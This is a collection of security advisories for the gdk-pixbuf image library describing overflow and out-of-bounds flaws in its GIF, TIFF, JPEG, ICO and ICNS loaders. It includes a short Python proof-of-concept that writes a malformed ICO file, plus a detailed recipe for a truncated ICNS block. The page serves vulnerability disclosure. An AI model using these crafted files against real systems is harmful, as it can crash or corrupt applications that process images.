gdk-pixbuf through 2.31.1 has GIF loader buffer overflow when initializing decompression tables due to an input validation flaw

An exploitable integer overflow vulnerability exists in the tiffimageparse functionality of Gdk-Pixbuf 2.36.6 when compiled with Clang. A specially crafted tiff file can cause a heap-overflow resulting in remote code execution. An attacker can send a file or a URL to trigger this vulnerability.

Gnome gdk-pixbuf 2.36.8 and older is vulnerable to several integer overflow in the gifgetlzw function resulting in memory corruption and potential code execution

GdkPixBuf (aka gdk-pixbuf), possibly 2.32.2, as used by GNOME Nautilus 3.14.3 on Ubuntu 16.04, allows attackers to cause a denial of service (stack corruption) or possibly have unspecified other impact via a crafted file folder.

A flaw exists in gdk‑pixbuf within the gdkpixbufjpegimageloadincrement function (io-jpeg.c) and in glib’s gbase64encodestep (glib/gbase64.c). When processing maliciously crafted JPEG images, a heap buffer overflow can occur during Base64 encoding, allowing out-of-bounds reads from heap memory, potentially causing application crashes or arbitrary code execution.

A flaw was found in the gdk-pixbuf library. This heap-based buffer overflow vulnerability occurs in the JPEG image loader due to improper validation of color component counts when processing a specially crafted JPEG image. A remote attacker can exploit this flaw without user interaction, for example, via thumbnail generation. Successful exploitation leads to application crashes and denial of service (DoS) conditions.

gdk-pixbuf-thumbnailer.c in gdk-pixbuf allows context-dependent attackers to cause a denial of service (NULL pointer dereference and application crash) via vectors related to printing an error message.

Integer underflow in the loadresources function in io-icns.c in gdk-pixbuf allows context-dependent attackers to cause a denial of service (out-of-bounds read and program crash) via a crafted image entry size in an ICO file.

Heap-Based Buffer Overflow vulnerability in the JPEG image loader of the gdk-pixbuf library. The flaw is caused by improper validation of color component counts in the gdkpixbufjpegimageload() function, leading to insufficient memory allocation for pixel data. When a specially crafted JPEG image is processed, libjpeg writes more data than allocated, resulting in a heap buffer overflow. This can be triggered automatically via thumbnail generation without user interaction, causing application crashes and denial-of-service conditions. Claims of code execution are not reliably substantiated and require unrealistic conditions; however, the memory corruption and crash impact are confirmed with high confidence.

Last updated 25 August 2025

Integer overflow in io-ico.c in gdk-pixbuf allows context-dependent attackers to cause a denial of service (segmentation fault and application crash) via a crafted image entry offset in an ICO file, which triggers an out-of-bounds read, related to compiler optimizations.

A flaw was found in gdk-pixbuf. When loading a specially crafted JPEG image containing chunked ICC profile markers, an error during ICC profile parsing can leave stale size metadata after the profile buffer is freed. A subsequent allocation in the same decode can cause an out-of-bounds write, potentially crashing the application. To exploit this flaw, an application using gdk-pixbuf must process the malicious JPEG image.

Affected version >= 2.26.4

Summary icoreadinfo sizes the image and buf from ICO directory entry dimensions, but icoreadicon trusts BITMAPINFOHEADER width/height for decoding, creating a mismatch when header dimensions are larger. The size guard data.width data.height 2 > maxsize is evaluated in 32‑bit guint32 and can wrap, letting oversized headers pass like this:

if (data.width data.height 2 > maxsize) { / ... / }

Decode loops then use large w/h and write past the buffer sized from the entry, and icoallocmap uses gint length math that can overflow for xormap/andmap when dimensions are huge.

Proof-of-concept

import struct

hdr = struct.pack("<HHH", 0, 1, 1)

IcoFileEntry: width=1, height=1, colors=0, reserved=0, planes=1, bpp=32, size=40, offset=22 entry = struct.pack("<BBBBHHII", 1, 1, 0, 0, 1, 32, 40, 22)

BITMAPINFOHEADER: headersize=40, width=0x00100000, height=0x00200000 (ICO height is doubled) width = 0x00100000 height = 0x00200000 bmp = struct.pack("<IIIHHIIIIII", 40, width, height, 1, 32, 0, 0, 0, 0, 0, 0)

open("poc1.ico", "wb").write(hdr + entry + bmp)

Heap out-of-bounds read in =uncompress()= in =gdk-pixbuf/io-icns.c= (function spans lines 192-246 in the current upstream tree). The function decompresses RLE-encoded ICNS icon data but is never given a bound on the source buffer; it loops until it has produced =sizesize= decoded pixels, consuming however many source bytes the RLE stream claims it needs, with no check that any of the three per-iteration reads (the tag byte at =data[0]=, the repeat-value byte at =data[1]=, or the run bytes at =data[i + 1]=) stays inside the block that =loadresources()= computed for it. =loadicon()= holds the correct block size (=isize=, derived from =loadresources()='s =plen = blocklen - sizeof(IcnsBlockHeader)= calculation) but never forwards it to =uncompress()=. A crafted =.icns= file with a truncated RLE block (e.g. an =il32= block whose declared =blocklen= only covers the header, with zero payload bytes) causes =uncompress()= to read past the end of the mapped/allocated ICNS data, an out-of-bounds heap read that can crash the process or leak adjacent heap bytes into the decoded pixel data. All four RLE-compressed ICNS block types (=is32= 16x16, =il32= 32x32, =ih32= 48x48, =it32= 128x128) are affected; the =ic08=/=ic09= (256x256) blocks use JPEG 2000, not this decompressor, and are not affected.